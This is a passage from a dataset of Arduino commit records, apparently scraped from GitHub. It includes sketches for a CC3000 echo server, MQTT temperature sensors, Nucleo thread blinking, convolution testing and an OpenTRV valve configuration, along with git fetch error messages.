WLAN_SEC_WEP, WLAN_SEC_WPA or WLAN_SEC_WPA2\n#define WLAN_SECURITY WLAN_SEC_WPA2\n\n#define LISTEN_PORT 7 \/\/ What TCP port to listen on for connections. The echo protocol uses port 7.\n#define MAX_CLIENTS 3 \/\/ The CC3000 docs advise that it has 4 sockets available to client code.\n \/\/ One socket is consumed listening for new connections, and the remaining sockets\n \/\/ are available for client connections.\n \/\/ In practice it appears you can go higher than 4 sockets (up to about 7), but\n \/\/ be careful as it might cause the CC3000 to behave unexpectedly.\n\n\/\/ Define a simple forward linked list structure to keep track of \n\/\/ connected clients. This client list is kept as a linked list \n\/\/ because the CC3000 client instances have a non-trivial amount of \n\/\/ internal state (buffers, etc.) which we don't want to spend memory \n\/\/ consuming unless a client is connected. Because the size of the list\n\/\/ is small and random access to entries is rare (happens only on\n\/\/ disconnect) a forward list (i.e. no back\/previous pointer) is\n\/\/ sufficient.\nstruct ClientList {\n int socket;\n Adafruit_CC3000_Client client;\n ClientList* next;\n};\n\n\/\/ Global variable to hold the ID of the listening socket.\nint listenSocket;\n\n\/\/ Global variable to hold the start of the connected client list.\nClientList* clients;\n\n\/\/ Global variable to keep track of how many clients are connected.\nint clientCount;\n\n\/\/ Function to add a new client to the connected client list.\nvoid addNewClient(int socket) {\n \/\/ Allocate memory for a new list entry.\n \/\/ In general be very careful with heap\/dynamic memory use in an Arduino sketch\n \/\/ because the function stack and heap share the same limited amount of memory and\n \/\/ can easily overflow. In this case the number of connected clients is low\n \/\/ so the risk of using up all the memory is low.\n ClientList* client = (ClientList*) malloc(sizeof(ClientList));\n if (client == NULL) {\n Serial.println(F(\"Error! Couldn't allocate space to store a new client.\"));\n return;\n }\n \/\/ Setup the new client as the front of the connected client list.\n client->next = clients;\n client->socket = socket;\n client->client = Adafruit_CC3000_Client(socket);\n clients = client;\n \/\/ Increment the count of connected clients.\n clientCount++;\n}\n\n\/\/ Remove a client from the connected client list.\nvoid removeClient(struct ClientList* client) {\n if (client == NULL) {\n \/\/ Handle null client to delete. This should never happen\n \/\/ but is good practice as a precaution.\n return;\n }\n if (clients == client) {\n \/\/ Handle the client to delete being at the front of the list.\n clients = client->next;\n }\n else {\n \/\/ Handle the client to delete being somewhere inside the list.\n \/\/ Iterate through the list until we find the entry before the\n \/\/ client to delete.\n ClientList* i = clients;\n while (i != NULL && i->next != client) {\n i = i->next;\n }\n if (i == NULL) {\n \/\/ Couldn't find the client to delete, do nothing.\n return;\n }\n \/\/ Remove the client from the list.\n i->next = client->next;\n }\n \/\/ Free the memory associated with the client and set the\n \/\/ pointer to null as a precaution against dangling references.\n free(client);\n client = NULL;\n \/\/ Decrement the count of connected clients.\n clientCount--;\n}\n\n\/\/ Set up the echo server and start listening for connections. Should be called once\n\/\/ in the setup function of the Arduino sketch.\nvoid echoSetup() {\n \/\/ Most of the calls below are to CC3000 firmware API's. You can find the documentaiton for these calls at:\n \/\/ http:\/\/software-dl.ti.com\/ecs\/simplelink\/cc3000\/public\/doxygen_API\/v1.11.1\/html\/index.html\n \n \/\/ Set the CC3000 inactivity timeout to 0 (never timeout). This will ensure the CC3000\n \/\/ does not close the listening socket when it's idle for more than 60 seconds (the\n \/\/ default timeout). See more information from:\n \/\/ http:\/\/e2e.ti.com\/support\/low_power_rf\/f\/851\/t\/292664.aspx\n unsigned long aucDHCP = 14400;\n unsigned long aucARP = 3600;\n unsigned long aucKeepalive = 30;\n unsigned long aucInactivity = 0;\n if (netapp_timeout_values(&aucDHCP, &aucARP, &aucKeepalive, &aucInactivity) != 0) {\n Serial.println(F(\"Error setting inactivity timeout!\"));\n while(1);\n }\n \/\/ Create a TCP socket\n listenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);\n if (listenSocket < 0) {\n Serial.println(F(\"Couldn't create listening socket!\"));\n while(1);\n }\n \/\/ Set the socket's accept call as non-blocking.\n \/\/ This is required to support multiple clients accessing the server at once. If the listening\n \/\/ port is not set as non-blocking your code can't do anything while it waits for a client to connect.\n if (setsockopt(listenSocket, SOL_SOCKET, SOCKOPT_ACCEPT_NONBLOCK, SOCK_ON, sizeof(SOCK_ON)) < 0) {\n Serial.println(F(\"Couldn't set socket as non-blocking!\"));\n while(1);\n }\n \/\/ Bind the socket to a TCP address.\n sockaddr_in address;\n address.sin_family = AF_INET;\n address.sin_addr.s_addr = htonl(0); \/\/ Listen on any network interface, equivalent to INADDR_ANY in sockets programming.\n address.sin_port = htons(LISTEN_PORT); \/\/ Listen on the specified port.\n if (bind(listenSocket, (sockaddr*) &address, sizeof(address)) < 0) {\n Serial.println(F(\"Error binding listen socket to address!\"));\n while(1);\n }\n \/\/ Start listening for connectings.\n \/\/ The backlog parameter is 0 as it is not supported on TI's CC3000 firmware.\n if (listen(listenSocket, 0) < 0) {\n Serial.println(F(\"Error opening socket for listening!\"));\n while(1);\n }\n \/\/ Initialize client list as empty.\n clients = NULL;\n clientCount = 0;\n Serial.println(F(\"Listening for connections...\"));\n}\n\n\/\/ Update the state of clients, and accept new client connections. Should be called\n\/\/ by the Arduino sketch's loop function.\nvoid echoLoop() { \n \/\/ Iterate through all the connected clients.\n ClientList* i = clients;\n while (i != NULL) {\n \/\/ Save the next client so the current one can be removed when it disconnects\n \/\/ without breaking iteration through the clients.\n ClientList* next = i->next;\n \/\/ If there's data available, read it a character at a time from the\n \/\/ CC3000 library's internal buffer.\n while (i->client.available() > 0) {\n uint8_t ch = i->client.read();\n \/\/ Echo the read byte back out to the client immediately.\n if (i->client.write(ch) == 0) {\n Serial.println(F(\"Error writing character to client!\"));\n }\n }\n \/\/ Check if the client is disconnected and remove it from the active client list.\n if (!i->client.connected()) {\n Serial.print(F(\"Client on socket \"));\n Serial.print(i->socket);\n Serial.println(F(\" disconnected.\"));\n removeClient(i);\n \/\/ Note that i is now NULL! Don't try to dereference it or you will\n \/\/ have a bad day (your Arduino will reset).\n }\n \/\/ Continue iterating through clients.\n i = next;\n }\n \/\/ Handle new client connections if we aren't at the limit of connected clients.\n if (clientCount < MAX_CLIENTS) {\n \/\/ Accept a new socket connection. Because we set the listening socket to be non-blocking \n \/\/ this will quickly return a result with either a new socket, an indication that nothing\n \/\/ is trying to connect, or an error.\n \/\/ The NULL parameters allow you to read the address of the connected client but are\n \/\/ unused in this sketch. See TI's documentation (linked in the setup function) for\n \/\/ more details.\n int newSocket = accept(listenSocket, NULL, NULL);\n \/\/ Check if a client is connected to a new socket.\n if (newSocket > -1) {\n Serial.print(F(\"New client connected on socket \"));\n Serial.println(newSocket);\n \/\/ Add the client to the list of connected clients.\n addNewClient(newSocket);\n }\n }\n}\n\nvoid setup(void)\n{\n Serial.begin(115200);\n Serial.println(F(\"Hello, CC3000!\\n\")); \n\n Serial.print(\"Free RAM: \"); Serial.println(getFreeRam(), DEC);\n \n \/* Initialise the module *\/\n Serial.println(F(\"\\nInitializing...\"));\n if (!cc3000.begin())\n {\n Serial.println(F(\"Couldn't begin()! Check your wiring?\"));\n while(1);\n }\n \n if (!cc3000.connectToAP(WLAN_SSID, WLAN_PASS, WLAN_SECURITY)) {\n Serial.println(F(\"Failed!\"));\n while(1);\n }\n \n Serial.println(F(\"Connected!\"));\n \n Serial.println(F(\"Request DHCP\"));\n while (!cc3000.checkDHCP())\n {\n delay(100); \/\/ ToDo: Insert a DHCP timeout!\n } \n\n \/* Display the IP address DNS, Gateway, etc. *\/ \n while (! displayConnectionDetails()) {\n delay(1000);\n }\n \n \/\/ Initialize the echo server\n echoSetup();\n}\n\nvoid loop(void)\n{\n \/\/ Update the echo server.\n echoLoop();\n}\n\n\/**************************************************************************\/\n\/*!\n @brief Tries to read the IP address and other connection details\n*\/\n\/**************************************************************************\/\nbool displayConnectionDetails(void)\n{\n uint32_t ipAddress, netmask, gateway, dhcpserv, dnsserv;\n \n if(!cc3000.getIPAddress(&ipAddress, &netmask, &gateway, &dhcpserv, &dnsserv))\n {\n Serial.println(F(\"Unable to retrieve the IP Address!\\r\\n\"));\n return false;\n }\n else\n {\n Serial.print(F(\"\\nIP Addr: \")); cc3000.printIPdotsRev(ipAddress);\n Serial.print(F(\"\\nNetmask: \")); cc3000.printIPdotsRev(netmask);\n Serial.print(F(\"\\nGateway: \")); cc3000.printIPdotsRev(gateway);\n Serial.print(F(\"\\nDHCPsrv: \")); cc3000.printIPdotsRev(dhcpserv);\n Serial.print(F(\"\\nDNSserv: \")); cc3000.printIPdotsRev(dnsserv);\n Serial.println();\n return true;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'echoserver\/echoserver.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"df1ca89e9b932ce5e643bec141c65fd8d1410aaa","subject":"Create ds18b20.ino","message":"Create ds18b20.ino","repos":"pumanzor\/iot-redlibre,pumanzor\/iot-redlibre","old_file":"dragino\/ds18b20.ino","new_file":"dragino\/ds18b20.ino","new_contents":"\n#include <Process.h>\n#include \"MQTTclient.h\"\n#include \"DHT.h\"\n#include <OneWire.h> \n#include <DallasTemperature.h>\n\n\n#define ONE_WIRE_BUS_PIN A3\nfloat tempC2 = 0;\nfloat tempC3 = 0;\nunsigned long time;\n\nOneWire oneWire(ONE_WIRE_BUS_PIN);\nDallasTemperature sensors(&oneWire);\n\/\/DeviceAddress probe01 = {0x28, 0xC7, 0xEB, 0xF0, 0x05, 0x00, 0x00, 0xEA};\n\n#define MQTT_HOST \"190.97.168.236\" \n#define DHTPIN A0 \n\/\/#define DHTPIN2 A1\n\n#define DHTTYPE DHT22 \/\/ DHT 22 (AM2302)\nDHT dht(DHTPIN, DHTTYPE);\n\/\/DHT dht2(DHTPIN2, DHTTYPE);\n\n\nchar message_buff[100];\nchar message_buff2[100];\nchar message[256];\nString id_sensor = \"test4\";\n\n\nfloat t2;\n\n\n\nvoid setup() {\n \n Serial.begin(9600);\n Bridge.begin();\n mqtt.begin(MQTT_HOST, 1883);\n dht.begin();\n sensors.begin(); \n \/\/sensors.setResolution(probe01, 10);\n \n mqtt.subscribe(\"test\/temp\", someEvent);\n\n\n}\n\n\nvoid loop() {\n float h = dht.readHumidity();\n float t = dht.readTemperature();\n\n sensors.requestTemperatures();\n \n tempC2 = sensors.getTempCByIndex(0),4;\n \/\/tempC2 = sensors.getTempC(probe01);\n if (millis() > (time + 20000)) {\n time = millis();\n \n String pubString = \"\" + String(t) + \",\" + String(tempC2) + \",\" + String(h) + \",\" + id_sensor + \"\";\n pubString.toCharArray(message_buff, pubString.length()+1);\n mqtt.publish(\"test\/temp\",message_buff );\n\n }\n else{\n \n mqtt.monitor();\n }\n\n}\n\nvoid someEvent(const String& topic, const String& subtopic, const String& message) {\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'dragino\/ds18b20.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4b2a78afd2bd1a58963b4eea8ad879221765dbaf","subject":"Added Button Control to motion gesture","message":"Added Button Control to motion gesture\n\nThe user needs to hold the button (SW2) while moving the board.\nThe CC3200 needs to be held vertically with the LEDS facing the outside\nworld (not facing the person holding it)\n\n(readings are not accurate all the time... >.< )\n","repos":"Mastergalen\/RPlayr","old_file":"remote\/remote.ino","new_file":"remote\/remote.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Mastergalen\/RPlayr.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"1d74ac336720ba95812ef4f0990df4d752cd9a29","subject":"Update to provide datums we variable","message":"Update to provide datums we variable\n","repos":"MitchellJThomas\/medir,MitchellJThomas\/medir,MitchellJThomas\/medir,MitchellJThomas\/medir","old_file":"src\/ds18x20-sensor.ino","new_file":"src\/ds18x20-sensor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/MitchellJThomas\/medir.git\/'\n","license":"epl-1.0","lang":"Arduino"} {"commit":"dea8a86263dc73faa4154c7b485ebcc676d09654","subject":"Adding a Nucleo thread variant of the blink sketch.","message":"Adding a Nucleo thread variant of the blink sketch.\n","repos":"mikaelpatel\/Cosa,dansut\/Cosa,jeditekunum\/Cosa,mikaelpatel\/Cosa,rrobinet\/Cosa,jeditekunum\/Cosa,kc9jud\/Cosa,mikaelpatel\/Cosa,dansut\/Cosa,kc9jud\/Cosa,jeditekunum\/Cosa,rrobinet\/Cosa,jeditekunum\/Cosa,rrobinet\/Cosa,dansut\/Cosa,kc9jud\/Cosa,mikaelpatel\/Cosa,rrobinet\/Cosa,kc9jud\/Cosa,dansut\/Cosa","old_file":"examples\/Nucleo\/CosaNucleoBlink\/CosaNucleoBlink.ino","new_file":"examples\/Nucleo\/CosaNucleoBlink\/CosaNucleoBlink.ino","new_contents":"\/**\n * @file CosaNucleoBlink.ino\n * @version 1.0\n *\n * @section License\n * Copyright (C) 2014, Mikael Patel\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n * \n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n * \n * You should have received a copy of the GNU Lesser General\n * Public License along with this library; if not, write to the\n * Free Software Foundation, Inc., 59 Temple Place, Suite 330,\n * Boston, MA 02111-1307 USA\n *\n * @section Description\n * Demonstration of Cosa Nucleo Threads; Blink LED with thread\n * delay and use an additional thread to control the LED blink\n * frequency.\n *\n * This file is part of the Arduino Che Cosa project.\n *\/\n\n#include \"Cosa\/Pins.hh\"\n#include \"Cosa\/Watchdog.hh\"\n#include \"Cosa\/Nucleo\/Thread.hh\"\n\nclass LED : public Nucleo::Thread {\nprivate:\n OutputPin m_pin;\n uint16_t m_delay;\npublic:\n LED(Board::DigitalPin pin) : Thread(), m_pin(pin, 1), m_delay(200) {}\n void set_delay(uint16_t ms) { m_delay = ms; }\n virtual void run();\n};\n\nvoid \nLED::run() \n{ \n m_pin.toggle(); \n delay(m_delay);\n}\n\ntemplate <uint16_t LOW, uint16_t HIGH, uint16_t INC>\nclass LEDController : public Nucleo::Thread {\nprivate:\n LED* m_led;\npublic:\n LEDController(LED* led) : Thread(), m_led(led) {}\n virtual void run();\n};\n\ntemplate <uint16_t LOW, uint16_t HIGH, uint16_t INC>\nvoid\nLEDController<LOW, HIGH, INC>::run()\n{\n for (uint16_t ms = LOW; ms < HIGH; ms += INC) {\n m_led->set_delay(ms);\n delay(1000);\n }\n for (uint16_t ms = HIGH; ms > LOW; ms -= INC) {\n m_led->set_delay(ms);\n delay(1000);\n }\n}\n\nLED buildin(Board::LED);\nLEDController<20,200,20> controller(&buildin);\n\nvoid setup()\n{\n Watchdog::begin();\n Nucleo::Thread::begin(&buildin, 32);\n Nucleo::Thread::begin(&controller, 32);\n}\n\nvoid loop()\n{\n Nucleo::Thread::begin();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Nucleo\/CosaNucleoBlink\/CosaNucleoBlink.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"f38e93db415159cddc764de4368482764ebd9eaa","subject":"Major rework and cleanup.","message":"Major rework and cleanup.\n","repos":"spoollord\/MyOurWeather,spoollord\/MyOurWeather","old_file":"MyOurWeather.ino","new_file":"MyOurWeather.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/spoollord\/MyOurWeather.git\/'\n","license":"isc","lang":"Arduino"} {"commit":"8ea207a00107b685d119929bf0e3d4d30d8abd9d","subject":"Optimise data types","message":"Optimise data types\n\nYou do not need an entire `int` just to store `HIGH`\/`LOW`.","repos":"majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino","old_file":"build\/shared\/examples\/07.Display\/RowColumnScanning\/RowColumnScanning.ino","new_file":"build\/shared\/examples\/07.Display\/RowColumnScanning\/RowColumnScanning.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"fatal: remote error: upload-pack: not our ref 8ea207a00107b685d119929bf0e3d4d30d8abd9d\nfatal: the remote end hung up unexpectedly\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"a248be9483a2151152482d21b44ff36dd84ecaa5","subject":"Add first firmware to control motors and publish encoder state from MegaPi throught ROS","message":"Add first firmware to control motors and publish encoder state from MegaPi throught ROS\n","repos":"Bobox214\/Dovlo,Bobox214\/Dovlo","old_file":"arduino\/RosMegaPi\/RosMegaPi.ino","new_file":"arduino\/RosMegaPi\/RosMegaPi.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Bobox214\/Dovlo.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"e2eaf402f5bc6e77f048e26af1b978649c8288ff","subject":"\uc2e0\ud638\ucc98\ub9ac \uc2dc\ubbac\ub808\uc774\uc158 \ucf54\ub4dc \ucd94\uac00","message":"\uc2e0\ud638\ucc98\ub9ac \uc2dc\ubbac\ub808\uc774\uc158 \ucf54\ub4dc \ucd94\uac00\n\nArduino\n","repos":"jeongjoohong\/project,jeongjoohong\/project,jeongjoohong\/project","old_file":"SignalProcessing\/test_convolution_arduino\/test_convolution_arduino.ino","new_file":"SignalProcessing\/test_convolution_arduino\/test_convolution_arduino.ino","new_contents":"void setup () {\n Serial.begin(115200);\n\n \/\/ test sample values from matlab documatation\n \/\/float u[] = {1, 0, 1};\n \/\/float v[] = {2, 7};\n \/\/float u[] = {1, 1, 1};\n \/\/float v[] = {1, 1, 0, 0, 0, 1, 1};\n float u[] = {-1, 2, 3, -2, 0, 1, 2};\n float v[] = {2, 4, -1, 1};\n bool isSame = false;\n \n int uLength = sizeof(u) \/ sizeof(float);\n int vLength = sizeof(v) \/ sizeof(float);\n int wLength = isSame ? uLength : uLength + vLength - 1 ;\n float w[wLength] = {};\n\n convolution(u, uLength, v, vLength, w, isSame);\n for (int i = 0; i < wLength; i++) {\n Serial.println(w[i]);\n }\n}\n\nvoid loop() {\n}\n\nvoid convolution(float *u, int uLength, float *v, int vLength, float *w, bool isSame) {\n float tmpArr[uLength + vLength - 1] = {};\n for (int i = 0; i < uLength + vLength - 1; i++) {\n int index = i;\n float tmpVal = 0;\n for (int j = 0; j < vLength; j++) {\n if (index >= 0 && index < uLength) {\n tmpVal += u[index] * v[j];\n }\n index--;\n tmpArr[i] = tmpVal;\n }\n }\n if (isSame) {\n int start = ceil((vLength - 1) \/ 2.0);\n for (int i = 0; i < uLength; i++) {\n w[i] = tmpArr[start+i]; \n }\n } else {\n for (int i = 0; i < uLength + vLength - 1; i++) {\n w[i] = tmpArr[i]; \n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SignalProcessing\/test_convolution_arduino\/test_convolution_arduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8123904aefca2465e29911db10f1727818f3b6c3","subject":"Changed UziFirmware.ino to use the new EEPROMWearLevelingWriter.","message":"Changed UziFirmware.ino to use the new EEPROMWearLevelingWriter.\n","repos":"RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi","old_file":"c++\/UziFirmware\/UziFirmware.ino","new_file":"c++\/UziFirmware\/UziFirmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/RichoM\/Uzi.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"32a19b0df82c6b2cc11f554cafe7f0a06ebdb68f","subject":"Added a startup check for a program stored in the EEPROM.","message":"Added a startup check for a program stored in the EEPROM.\n","repos":"RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi,RichoM\/Uzi","old_file":"c++\/UziFirmware\/UziFirmware.ino","new_file":"c++\/UziFirmware\/UziFirmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/RichoM\/Uzi.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"c3b3db043d3e9fce44a082ecdceeb5002265551b","subject":"Finished motion sensor code for display","message":"Finished motion sensor code for display\n","repos":"WestwoodRobotics\/BEST-2015,WestwoodRobotics\/BEST-2015,WestwoodRobotics\/BEST-2015","old_file":"display\/sluice_box\/sluiceMotion\/sluiceMotion.ino","new_file":"display\/sluice_box\/sluiceMotion\/sluiceMotion.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/WestwoodRobotics\/BEST-2015.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"5c301dfe50d0a95609abc9d271cc4d6904e345ed","subject":"Added minimal test sketch","message":"Added minimal test sketch","repos":"opentrv\/OpenTRV-TRV2","old_file":"testsuite\/REV20Minimal\/REV20Minimal.ino","new_file":"testsuite\/REV20Minimal\/REV20Minimal.ino","new_contents":"\/*\nThe OpenTRV project licenses this file to you\nunder the Apache Licence, Version 2.0 (the \"Licence\");\nyou may not use this file except in compliance\nwith the Licence. You may obtain a copy of the Licence at\n\nhttp:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the Licence is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied. See the Licence for the\nspecific language governing permissions and limitations\nunder the Licence.\n\nAuthor(s) \/ Copyright (s): Deniz Erbilgin 2016\n*\/\n\/**\n * Minimal REV7 config for testing power consumption.\n * Aim is to:\n * - todo init GPIO pins to safe mode.\n * - todo init peripherals to safe low power mode.\n * - loop endlessly.\n *\/\n\n\/\/ INCLUDES & DEFINES\n\/\/ Debug output flag\n#define DEBUG\n\/\/ REV7 \/ DORM1 all-in-one valve unit, secure TX.\n\/\/#define CONFIG_DORM1\n\/\/ Get defaults for valve applications.\n#include <OTV0p2_valve_ENABLE_defaults.h>\n\/\/ All-in-one valve unit (DORM1).\n#include <OTV0p2_CONFIG_REV20.h>\n\/\/ I\/O pin allocation and setup: include ahead of I\/O module headers.\n#include <OTV0p2_Board_IO_Config.h>\n\/\/ OTV0p2Base Libraries\n#include <OTV0p2Base.h>\n\/\/ RadValve libraries\n#include <OTRadValve.h>\n\n\n\/\/ Debugging output\n#ifndef DEBUG\n#define DEBUG_SERIAL_PRINT(s) \/\/ Do nothing.\n#define DEBUG_SERIAL_PRINTFMT(s, format) \/\/ Do nothing.\n#define DEBUG_SERIAL_PRINT_FLASHSTRING(fs) \/\/ Do nothing.\n#define DEBUG_SERIAL_PRINTLN_FLASHSTRING(fs) \/\/ Do nothing.\n#define DEBUG_SERIAL_PRINTLN() \/\/ Do nothing.\n#define DEBUG_SERIAL_TIMESTAMP() \/\/ Do nothing.\n#else\n\/\/ Send simple string or numeric to serial port and wait for it to have been sent.\n\/\/ Make sure that Serial.begin() has been invoked, etc.\n#define DEBUG_SERIAL_PRINT(s) { OTV0P2BASE::serialPrintAndFlush(s); }\n#define DEBUG_SERIAL_PRINTFMT(s, fmt) { OTV0P2BASE::serialPrintAndFlush((s), (fmt)); }\n#define DEBUG_SERIAL_PRINT_FLASHSTRING(fs) { OTV0P2BASE::serialPrintAndFlush(F(fs)); }\n#define DEBUG_SERIAL_PRINTLN_FLASHSTRING(fs) { OTV0P2BASE::serialPrintlnAndFlush(F(fs)); }\n#define DEBUG_SERIAL_PRINTLN() { OTV0P2BASE::serialPrintlnAndFlush(); }\n\/\/ Print timestamp with no newline in format: MinutesSinceMidnight:Seconds:SubCycleTime\nextern void _debug_serial_timestamp();\n#define DEBUG_SERIAL_TIMESTAMP() _debug_serial_timestamp()\n#endif \/\/ DEBUG\n\n\/\/ OBJECTS & VARIABLES\n\/**\n * Peripherals present on REV7\n * - Pot Set input to Hi-Z? +\n * - PHT IO_POWER_UP LOW\n * - Encoder IO_POWER_UP LOW\n * - LED Set pin HIGH?\n * - Button Set to INPUT\n * - H-Bridge Control pins HIGH, Current sense set to input. +\n * - SHT21 read() once. +\n * - RFM23B ?? +\n * - XTAL Setup and leave running?\n * - UART Disable\n *\/\n\n\/**\n * Dummy Types\n *\/\n\/\/ Placeholder class with dummy static status methods to reduce code complexity.\ntypedef OTV0P2BASE::DummySensorOccupancyTracker OccupancyTracker;\n\n\/**\n * Supply Voltage instance\n *\/\n\/\/ Sensor for supply (eg battery) voltage in millivolts.\n\/\/ Singleton implementation\/instance.\nOTV0P2BASE::SupplyVoltageCentiVolts Supply_cV;\n\n\/*\n * Radio instance\n *\/\nstatic constexpr bool RFM23B_allowRX = false;\n \nstatic constexpr uint8_t RFM23B_RX_QUEUE_SIZE = OTRFM23BLink::DEFAULT_RFM23B_RX_QUEUE_CAPACITY;\nstatic constexpr int8_t RFM23B_IRQ_PIN = -1;\/\/ PIN_RFM_NIRQ;\n\/\/ XXX Is it really worth having a separate primary radio in this case?\nOTRFM23BLink::OTRFM23BLink<OTV0P2BASE::V0p2_PIN_SPI_nSS, RFM23B_IRQ_PIN, RFM23B_RX_QUEUE_SIZE, RFM23B_allowRX> PrimaryRadio;\/\/RFM23B;\n\/\/\/* constexpr *\/ OTRadioLink::OTRadioLink &PrimaryRadio = RFM23B\n\/\/ Pick an appropriate radio config for RFM23 (if it is the primary radio).\n\/\/ Nodes talking on fast GFSK channel 0.\nstatic const uint8_t nPrimaryRadioChannels = 1;\nstatic const OTRadioLink::OTRadioChannelConfig RFM23BConfigs[nPrimaryRadioChannels] = {\n \/\/ GFSK channel 0 full config, RX\/TX, not in itself secure.\n OTRadioLink::OTRadioChannelConfig(OTRFM23BLink::StandardRegSettingsGFSK57600, true), };\n\n\/*\n * SHT21 instance\n *\/\nOTV0P2BASE::RoomTemperatureC16_SHT21 TemperatureC16; \/\/ SHT21 impl.\n\n\/\/ HUMIDITY_SENSOR_SUPPORT is defined if at least one humidity sensor has support compiled in.\n\/\/ Simple implementations can assume that the sensor will be present if defined;\n\/\/ more sophisticated implementations may wish to make run-time checks.\n\/\/ If SHT21 support is enabled at compile-time then its humidity sensor may be used at run-time.\n\/\/ Singleton implementation\/instance.\ntypedef OTV0P2BASE::HumiditySensorSHT21 RelHumidity_t;\nRelHumidity_t RelHumidity;\n\n\/**\n * Temp pot\n *\/\n\/\/ Sensor for temperature potentiometer\/dial UI control.\n\/\/ Correct for DORM1\/TRV1 with embedded REV7.\n\/\/ REV7 does not drive pot from IO_POWER_UP.\ntypedef OTV0P2BASE::SensorTemperaturePot<OccupancyTracker, nullptr, 48, 296, false> TempPot_t;\nTempPot_t TempPot;\n\n\/**\n * Ambient Light Sensor\n *\/\ntypedef OTV0P2BASE::SensorAmbientLight AmbientLight;\n\/\/ Singleton implementation\/instance.\nAmbientLight AmbLight;\n\n\/**\n * Valve Actuator\n *\/\n\/\/ DORM1\/REV7 direct drive motor actuator.\nstatic constexpr bool binaryOnlyValveControl = false;\nstatic constexpr uint8_t m1 = MOTOR_DRIVE_ML;\nstatic constexpr uint8_t m2 = MOTOR_DRIVE_MR;\ntypedef OTRadValve::ValveMotorDirectV1<m1, m2, MOTOR_DRIVE_MI_AIN, MOTOR_DRIVE_MC_AIN, decltype(Supply_cV), &Supply_cV, binaryOnlyValveControl> ValveDirect_t;\n\/\/ Singleton implementation\/instance.\n\/\/ Suppress unnecessary activity when room dark, eg to avoid disturbance if device crashes\/restarts,\n\/\/ unless recent UI use because value is being fitted\/adjusted.\nValveDirect_t ValveDirect([](){return(AmbLight.isRoomDark());});\n\n\/\/ FUNCTIONS\n\n\/**\n * Panic Functions\n *\/\n\/\/ Indicate that the system is broken in an obvious way (distress flashing the main LED).\n\/\/ DOES NOT RETURN.\n\/\/ Tries to turn off most stuff safely that will benefit from doing so, but nothing too complex.\n\/\/ Tries not to use lots of energy so as to keep distress beacon running for a while.\nvoid panic()\n{\n \/\/ Reset radio and go into low-power mode.\n PrimaryRadio.panicShutdown();\n \/\/ Power down almost everything else...\n OTV0P2BASE::minimisePowerWithoutSleep();\n pinMode(OTV0P2BASE::LED_HEATCALL_L, OUTPUT);\n for( ; ; )\n {\n OTV0P2BASE::LED_HEATCALL_ON();\n OTV0P2BASE::nap(WDTO_15MS);\n OTV0P2BASE::LED_HEATCALL_OFF();\n 